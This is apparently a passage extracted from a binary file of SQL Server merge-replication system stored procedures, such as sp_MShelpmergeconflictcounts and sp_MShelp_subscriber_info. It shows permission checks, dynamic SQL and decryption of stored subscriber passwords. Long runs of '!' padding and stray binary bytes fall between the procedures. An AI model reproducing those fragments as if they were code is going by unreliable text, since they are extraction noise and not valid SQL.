		select @distance = min(distance) from #filtered f, sys.foreign_keys r, #unfiltered u where
			(f.object_id = r.referenced_object_id and r.parent_object_id = u.object_id) or
			(u.object_id = r.referenced_object_id and r.parent_object_id = f.object_id)
		set @art_name = NULL
		select @join_unique = 1, @object_id = parent_object_id, @join_objid = referenced_object_id, @art_name = art_name
			from sys.foreign_keys r, #unfiltered u where r.parent_object_id = u.object_id and
			r.referenced_object_id in (select object_id from #filtered where distance = @distance) 
		if @art_name is null
			select	@join_unique = 0, @object_id = referenced_object_id, @join_objid = parent_object_id, @art_name = art_name
				from sys.foreign_keys r, #unfiltered u where r.referenced_object_id = u.object_id and
				r.parent_object_id in (select object_id from #filtered where distance = @distance) 
		end
	return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!}`W<&XM&"0* x8-- Either @artid or @artnick must not be null.
create function sys.fn_MSarticle_allows_DML_at_this_replica (@artid uniqueidentifier= null, @artnick int= null)
    returns bit
as
begin
    declare @upload_options_tinyint tinyint
    declare @lightweight bit
    declare @allowdml bit
    
    select top 1 @upload_options_tinyint = upload_options, @lightweight= lightweight
        from dbo.sysmergearticles 
        where artid = @artid or
              nickname = @artnick

    if 0=@upload_options_tinyint or 3=@upload_options_tinyint
    begin
        -- The article is explicitly updateable.
        set @allowdml= 1
    end
    else if 1=@lightweight
    begin
        -- Lightweight is never global, so article cannot become updateable
        -- due to that.
        set @allowdml= 0
    end
    else 
    begin
        if exists (select * from sysmergesubscriptions
                    where upper(publishingservername()) = upper(subscriber_server collate SQL_Latin1_General_CP1_CS_AS) and
                          db_name = db_name() and
                          subscriber_type = 1)
        begin
            -- Replica is global.
            set @allowdml= 1
        end
        else
        begin
            -- Replica is non-global.
            set @allowdml= 0
        end
    end

    return @allowdml
end
0F@ $8create procedure sys.sp_MSsetcontext_bypassreplicateddleventbit @onoff bit -- 1 to turn on
as
begin
    declare @cur_context varbinary(128)
    declare @cur_context_first_byte binary(1)
    declare @bitmask tinyint

    -- bit to set: snapshot=1, logreader=2, distrib=4, merge=8, 
    -- replication_agent=16, merge_identityrange_alterconstraint=32
    -- bypasswholeddleventbit=64, bypassreplicateddleventbit=128
    if @onoff=1
        set @bitmask=128
    else
        set @bitmask=255-128
    
    -- get the current context_info. remember we only want to modify a bit without changing the rest of the info
    select @cur_context = isnull(context_info(),0x00)
    
    -- get the first byte out. the replication agent flags are set in the first byte.
    select @cur_context_first_byte = substring(@cur_context, 1, 1)
    -- set the appropriate bit in this one byte (leaving other bits unchanged).
    if @onoff=1
        select @cur_context_first_byte = (convert(tinyint,@cur_context_first_byte) | @bitmask)
    else
        select @cur_context_first_byte = (convert(tinyint,@cur_context_first_byte) & @bitmask)
        
    -- replace the first byte of the 128 byte binary variable, so that now it has the appropriate bit set.
    select @cur_context = convert(varbinary(128),stuff (@cur_context, 1, 1, @cur_context_first_byte))
    -- set the context_info again with the new binary(128) value.
    set context_info @cur_context
    
    if @@error <> 0
        return 1
        
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`a	Y<fZG)10@ 88
create procedure sys.sp_MShelpmergeconflictcounts ( 
	@publication_name sysname = '%' ,
	@publisher		sysname = NULL,
	@publisher_db	sysname = NULL,
	@logical_record_conflicts int = 0)
as 
begin

	set nocount on 

	declare @aname		sysname
	declare @cmd		nvarchar(2000) 
	declare @conflict_table sysname 
	declare @count		integer
	declare @pubid		uniqueidentifier
	declare @pubidstr	nvarchar(38)
    declare @retcode	int

    -- Security check
    if 1 <> is_member('db_owner') and
	   (1 <> is_member('replmonitor') or is_member('replmonitor') is null)
	begin    
		RAISERROR (15247, 11, -1)
		return (1)
	end

	if @publisher IS NULL
		select @publisher = publishingservername()
		
	if @publisher_db IS NULL
		select @publisher_db = db_name()

	if @publication_name <> '%'
		begin
			/*
			** Parameter Check:	 @publication.
			** Make sure that the publication exists.
			*/
			select @pubid = pubid from dbo.sysmergepublications 
				where name = @publication_name and 
					LOWER(publisher) = LOWER(@publisher) and
					publisher_db = @publisher_db
			if @pubid IS NULL
			BEGIN
				RAISERROR (20026, 16, -1, @publication_name)
				RETURN (1)
			END
			set @pubidstr = '''' + convert(nchar(36), @pubid) + '''' 
		end

	-- make sure current db has merge publishing tables (true on both pub and sub)
	if object_id('sysmergearticles') is NULL
	begin
		raiserror( 18757, 16, -1 )
		return(1)
	end

	-- allow null conflict table name to handle case where there are delete conflicts but no update conflicts
	create table #result_list ( article sysname collate database_default, source_object sysname collate database_default, conflict_table sysname collate database_default null, guidcolname sysname collate database_default, centralized_conflicts integer, conflicts_ucount integer, conflicts_dcount integer )
	create table #conflict_list ( article_name sysname collate database_default, conflicts_ucount integer, conflicts_dcount integer )
	create table #update_list ( article_name sysname collate database_default, conflicts_ucount integer )

	-- get delete counts
	if ( @publication_name = '%' )
		declare hCdcount CURSOR LOCAL FAST_FORWARD for 
			select distinct a.name 
				from dbo.MSmerge_conflicts_info d
				inner join dbo.sysmergepublications p on p.pubid = d.pubid
				inner join dbo.sysmergearticles a on a.pubid = p.pubid and a.nickname = d.tablenick
				where d.conflict_type in (4,7,8,12)
	else
		declare hCdcount CURSOR LOCAL FAST_FORWARD for 
			select distinct a.name 
				from dbo.MSmerge_conflicts_info d
				inner join dbo.sysmergepublications p on p.pubid = d.pubid
				inner join dbo.sysmergearticles a on a.pubid = p.pubid and a.nickname = d.tablenick
				where p.pubid = @pubid and d.conflict_type in (4,7,8,12)
	open hCdcount
	fetch hCdcount into @aname
	while ( @@fetch_status <> -1 )
	begin
		select @cmd = 'select N''' + @aname + ''', 0, count(*) 
				from dbo.MSmerge_conflicts_info d
					inner join dbo.sysmergepublications p on p.pubid = d.pubid
					inner join dbo.sysmergearticles a on a.pubid = p.pubid and a.nickname = d.tablenick '

		if @logical_record_conflicts = 0
		begin
			set @cmd = @cmd + 'where d.conflict_type in (4,7,8) and a.name = @aname'
		end
		else
		begin
			set @cmd = @cmd + 'where d.conflict_type in (4,7,8,12) and a.name = @aname'
		end

		if ( @publication_name <> '%' ) 
			select @cmd = @cmd + ' and p.pubid = ' + @pubidstr

		insert #conflict_list ( article_name, conflicts_ucount, conflicts_dcount )
			exec @retcode= dbo.sp_executesql @cmd, N'@aname sysname', @aname = @aname
		if @@error<>0 and @retcode<>0
		begin
			close hCdcount
			deallocate hCdcount
			return 1
		end

		fetch hCdcount into @aname
	end
	close hCdcount
	deallocate hCdcount

	-- get update counts
	if ( @publication_name = '%' )
		declare hCucount CURSOR LOCAL FAST_FORWARD for 
			select distinct a.name, a.conflict_table
				from dbo.sysmergepublications p
				inner join dbo.sysmergearticles a on a.pubid = p.pubid
			where a.conflict_table is not null
	else
		declare hCucount CURSOR LOCAL FAST_FORWARD for 
			select distinct a.name, a.conflict_table
				from dbo.sysmergepublications p
				inner join dbo.sysmergearticles a on a.pubid = p.pubid
			where a.conflict_table is not null
				and p.pubid = @pubid
	open hCucount
	fetch hCucount into @aname, @conflict_table
	while ( @@fetch_status <> -1 )
	begin
		select @cmd = N'select N''' + @aname + N''', count(*) from ' + QUOTENAME( @conflict_table ) + N' ct 
		inner join MSmerge_conflicts_info m on ct.origin_datasource_id=m.origin_datasource_id and ct.rowguidcol=m.rowguid
		inner join dbo.sysmergepublications p on p.pubid = m.pubid '

	    -- Do not return logical record conflicts unless asked for.
	    if @logical_record_conflicts = 0
	    begin
    		select @cmd = @cmd + '
    		where m.conflict_type not in (11,12,13,14) '

		if ( @publication_name <> '%' ) 
			select @cmd = @cmd + ' and p.name = @publication_name'
    		
	    end
	    else
	    begin
		if ( @publication_name <> '%' ) 
			select @cmd = @cmd + ' where p.name = @publication_name'
	    end
	    
		insert #update_list ( article_name, conflicts_ucount )
			exec @retcode= dbo.sp_executesql @cmd, N'@publication_name sysname', @publication_name = @publication_name
		if @@error<>0 and @retcode<>0
		begin
			close hCucount
			deallocate hCucount
			return 1
		end

		fetch hCucount into @aname, @conflict_table
	end
	close hCucount
	deallocate hCucount

	update #conflict_list set conflicts_ucount = isnull( ul.conflicts_ucount, 0 )
		from #conflict_list cl
		inner join #update_list ul on ul.article_name = cl.article_name

	delete #update_list 
		from #update_list ul 
		inner join #conflict_list cl on ul.article_name = cl.article_name

	insert #conflict_list
		select *, 0 from #update_list where conflicts_ucount > 0

	drop table #update_list
	select @cmd = N'insert into #result_list 
			select distinct t.article_name, N'''' + quotename(schema_name( o.schema_id )) + ''.'' + quotename(o.name) + '''',' + ' a.conflict_table, c.name, p.centralized_conflicts, t.conflicts_ucount, t.conflicts_dcount
				from #conflict_list t
					inner join dbo.sysmergearticles a on a.name = t.article_name
					inner join dbo.sysmergepublications p on p.pubid = a.pubid
					inner join sys.objects o on o.object_id = a.objid 
					inner join sys.columns c on c.object_id = o.object_id and c.is_rowguidcol = 1
				where (t.conflicts_ucount > 0 or t.conflicts_dcount > 0) and a.conflict_table is NOT NULL and p.name like @publication_name'

	exec @retcode= sys.sp_executesql @cmd, N'@publication_name sysname', @publication_name=@publication_name
	if @@error<>0 or @retcode<>0 return 1

	drop table #conflict_list

	select * from #result_list
	drop table #result_list

return (0)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`L<m	[G,a0 D8nh 0o 
8CREATE PROCEDURE sys.sp_MShelp_subscriber_info
(
    @publisher sysname = '%',
    @subscriber sysname = '%',
    @found int = NULL    OUTPUT,
    @show_password bit = 1
)
AS
begin
   set nocount on
   
   DECLARE @no_rows bit

    --
    -- push agents (dist or merge) may call this.
    -- raise an message indicating that users may forget to specify -SubscriptionType
    -- security check
    --
    if is_member(N'db_owner') <> 1
    begin
        raiserror (20604, 16, -1)
        return 1
    end
    /*
    ** Initializations.
    */
    IF @found is NULL
    BEGIN
        SELECT @no_rows=0
    END
    ELSE
    BEGIN
        SELECT @no_rows=1
    END

   if exists (select * from MSsubscriber_info 
               where (@publisher = '%' or UPPER(publisher) = UPPER(@publisher)) 
                 and (@subscriber = '%' or UPPER(subscriber) = UPPER(@subscriber)))
   begin
        select @found = 1
        if @no_rows <>0 return(0)
   end
   else
   begin
        select @found = 0
        if @no_rows <>0 return(0)
   end

   if exists (select * from MSsubscriber_schedule 
               where (@publisher = N'%' or UPPER(publisher) = UPPER(@publisher))
                 and (@subscriber = N'%' or UPPER(subscriber) = UPPER(@subscriber)))
    begin
		select Sinfo.publisher,
			    Sinfo.subscriber,
			    Sinfo.type,
			    Sinfo.login,
			    case when @show_password = 1 then sys.fn_repldecryptver4(Sinfo.password)
			    else convert(sysname, NULL) end,
			    100,  -- commit_batch_size, no longer supported
			    100,  -- status_batch_size, no longer supported
			    1,    -- flush_frequency, no longer supported
			    sch1.frequency_type, 
			    sch1.frequency_interval,
			    sch1.frequency_relative_interval,
			    sch1.frequency_recurrence_factor,
			    sch1.frequency_subday,
			    sch1.frequency_subday_interval,
			    sch1.active_start_time_of_day,
			    sch1.active_end_time_of_day,
			    sch1.active_start_date,
			    sch1.active_end_date,
			    4, -- retryattempt, no longer exist
			    4,  -- retrydelay, no longer exist
			    Sinfo.description,
			    Sinfo.security_mode,
			    sch2.frequency_type as frequency_type2, 
			    sch2.frequency_interval as frequency_interval2,
			    sch2.frequency_relative_interval as frequency_relative_interval2,
			    sch2.frequency_recurrence_factor as frequency_recurrence_factor2,
			    sch2.frequency_subday as frequency_subday2,
			    sch2.frequency_subday_interval as frequency_subday_interval2,
			    sch2.active_start_time_of_day as active_start_time_of_day2,
			    sch2.active_end_time_of_day as active_end_time_of_day2,
			    sch2.active_start_date as active_start_date2,
			    sch2.active_end_date as active_end_date2
			from (MSsubscriber_info as Sinfo LEFT OUTER JOIN MSsubscriber_schedule as sch1 
			on UPPER(Sinfo.publisher)=UPPER(sch1.publisher) AND UPPER(Sinfo.subscriber)=UPPER(sch1.subscriber) and sch1.agent_type=0)
			LEFT OUTER JOIN MSsubscriber_schedule as sch2
			    on UPPER(Sinfo.publisher)=UPPER(sch2.publisher) AND UPPER(Sinfo.subscriber)=UPPER(sch2.subscriber) 
			            and sch2.agent_type=1
			where (@publisher = N'%' or UPPER(Sinfo.publisher) = UPPER(@publisher)) and 
			  (@subscriber = N'%' or UPPER(Sinfo.subscriber) = UPPER(@subscriber))                 
		if @@error <> 0 return 1
    end
end
0q g8create procedure sys.sp_MSclearcolumnbit
@pubid			uniqueidentifier,
@artid			uniqueidentifier,
@column_name	sysname
as 

declare @tablename		sysname
declare @colid			int
declare @in_use			bit
declare @objid			int
declare @columns		varbinary(128)
declare @local_repid	uniqueidentifier
declare @publish		int
declare @qual_name		nvarchar(517)
set nocount on 

set @publish		= 0x4000
set @in_use=0
set @local_repid	= NULL

-- Security Checking 
-- sysadmin or db_owner or replication agent have access

if ({fn ISPALUSER(@pubid)} <> 1)
	if is_member ('db_ddladmin') <>1
	begin
		raiserror(14260, 16, -1)
		return (1)
	end

select @tablename = object_name(objid), @objid=objid from dbo.sysmergearticles where artid=@artid and pubid=@pubid

select @colid=column_id from sys.columns where object_id=@objid and name=@column_name

select top 1 @local_repid=pubid from dbo.sysmergearticles where artid=@artid and pubid<>@pubid order by pubid ASC
begin tran
save tran sp_MSclearcolumnbit

-- Acquire exclusive lock for subsequent system object updates
exec sys.sp_MSget_qualified_name @objid, @qual_name OUTPUT

exec %%Object(MultiName=@qual_name).LockMatchID(ID=@objid, Exclusive = 1, BindInternal = 0)
--exec %%Object(MultiName=@qual_name).LockExclusiveMatchID(ID=@objid)
if @@error<>0
	goto FAILURE

if @local_repid is NULL
begin
	exec %%ColumnEx(ObjectID=@objid,Name=@column_name).SetMergePublished(Value=0)
	if @@ERROR<>0
		goto FAILURE
	commit tran
	return (0)
end
while @local_repid is not NULL and @in_use=0
begin
	select @columns = columns from dbo.sysmergearticles where pubid=@local_repid and artid=@artid
	exec @in_use = sys.sp_MStestbit @bm=@columns, @coltotest=@colid
	set @local_repid	= NULL
	select top 1 @local_repid=pubid from dbo.sysmergearticles where artid=@artid and pubid>@local_repid order by pubid ASC
end
if @in_use=0
begin
	exec %%ColumnEx(ObjectID=@objid,Name=@column_name).SetMergePublished(Value=0)
	if @@ERROR<>0
		goto FAILURE
end
commit tran
return (0)

FAILURE:
	rollback tran sp_MSclearcolumnbit
	commit tran
	return (1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&`a<
!\T*J0/ 
8create procedure sys.sp_helpmergearticleconflicts(
	@publication	sysname = '%',
	@publisher		sysname = NULL,
	@publisher_db	sysname = NULL
	)
as
	set nocount on
	declare @pubid			uniqueidentifier
	declare @cmd			nvarchar(4000)

	declare @retcode		int
	declare @nickname		int
	declare @retcode2		int
	declare @name			sysname
	declare @source_owner	sysname
	declare @source_object	sysname
	declare @conflict_table sysname
	declare @guidcolname		sysname
	declare @centralized_conflicts int
	declare @objid			int
	declare @command		nvarchar(2000)	 
	
	-- Security check: dbo and sysadmin only
	select @retcode = 0
	exec @retcode = sys.sp_MSreplcheck_publish
	if @@error <> 0 or @retcode <> 0
	begin
		return 1
	end

	if @publisher IS NULL
		select @publisher = publishingservername()
		
	if @publisher_db IS NULL
		select @publisher_db = db_name()

	if @publication <> '%'
		begin
			/*
			** Parameter Check:	 @publication.
			** Make sure that the publication exists.
			*/
			select @pubid = pubid from dbo.sysmergepublications 
				where name = @publication and 
					LOWER(publisher) = LOWER(@publisher) and
					publisher_db = @publisher_db
			if @pubid IS NULL
			BEGIN
				RAISERROR (20026, 16, -1, @publication)
				RETURN (1)
			END
		end

	create table #temp_conflict(article					sysname collate database_default,
								source_owner			sysname collate database_default,
								source_object			sysname collate database_default,
								conflict_table			sysname collate database_default,
								guidcolname				sysname collate database_default,
								centralized_conflicts	int)	

	declare #cur_conflict cursor local for 
		select name, objid, conflict_table, pubid, nickname from dbo.sysmergearticles 
			where conflict_table is not NULL and pubid in (select pubid from dbo.sysmergepublications where name like @publication)
				for read only
	open #cur_conflict
	fetch #cur_conflict into @name, @objid, @conflict_table, @pubid, @nickname
	while (@@fetch_status <> -1)
	begin
		select @source_owner = SCHEMA_NAME(schema_id) from sys.objects where object_id = @objid
		select @source_object = object_name (@objid)
		select @guidcolname = name from sys.columns where object_id = @objid and is_rowguidcol = 1
		select @centralized_conflicts = centralized_conflicts from dbo.sysmergepublications where pubid = @pubid

		select @command = 'if exists (select * from ' + QUOTENAME(@conflict_table) + ') select @retcode2 = 1
								else select @retcode2 = 0'
		EXEC @retcode = sys.sp_executesql @command, N'@retcode2 int output', @retcode2 output
		if @retcode <>0
				return (1)
		if @retcode2 = 1 
		begin
			insert into #temp_conflict 
				values (@name, @source_owner, @source_object, @conflict_table, @guidcolname, @centralized_conflicts)
		end
		--return delete conflicts to be compatible with old conflict structure
		if EXISTS (select * from MSmerge_conflicts_info where tablenick = @nickname and conflict_type in (4,7,8,12))
		begin
			insert into #temp_conflict
				values (@name, @source_owner, @source_object, 'MSmerge_conflicts_info', @guidcolname, @centralized_conflicts)
		end
		fetch #cur_conflict into @name, @objid, @conflict_table, @pubid, @nickname
	end

	select * from #temp_conflict order by article, conflict_table

	drop table #temp_conflict
	close #cur_conflict
	deallocate #cur_conflict
return(0)		
0*p0@ @8create procedure sys.sp_MSneedmergemetadataretentioncleanup
    @replicaid      uniqueidentifier,
    @needcleanup    bit output
as
    declare @REPLICA_STATUS_BeforeRestore tinyint
    declare @pubid uniqueidentifier
    declare @metadatacleanuptime datetime
    declare @retcode int

    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @repid = @replicaid
    if @@error<>0 or @retcode<>0
        return 1

    set @REPLICA_STATUS_BeforeRestore= 7
    set @needcleanup = 0

    select @pubid = pubid, @metadatacleanuptime = metadatacleanuptime from dbo.sysmergesubscriptions
    where subid=@replicaid and
    status<>@REPLICA_STATUS_BeforeRestore

    if @pubid is not null
        select @needcleanup= case when 
                                    sys.fn_add_units_to_date(-1, retention_period_unit, getdate()) > @metadatacleanuptime 
                                        then 1
                                    else 0
                             end
        from dbo.sysmergepublications
        where pubid = @pubid

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!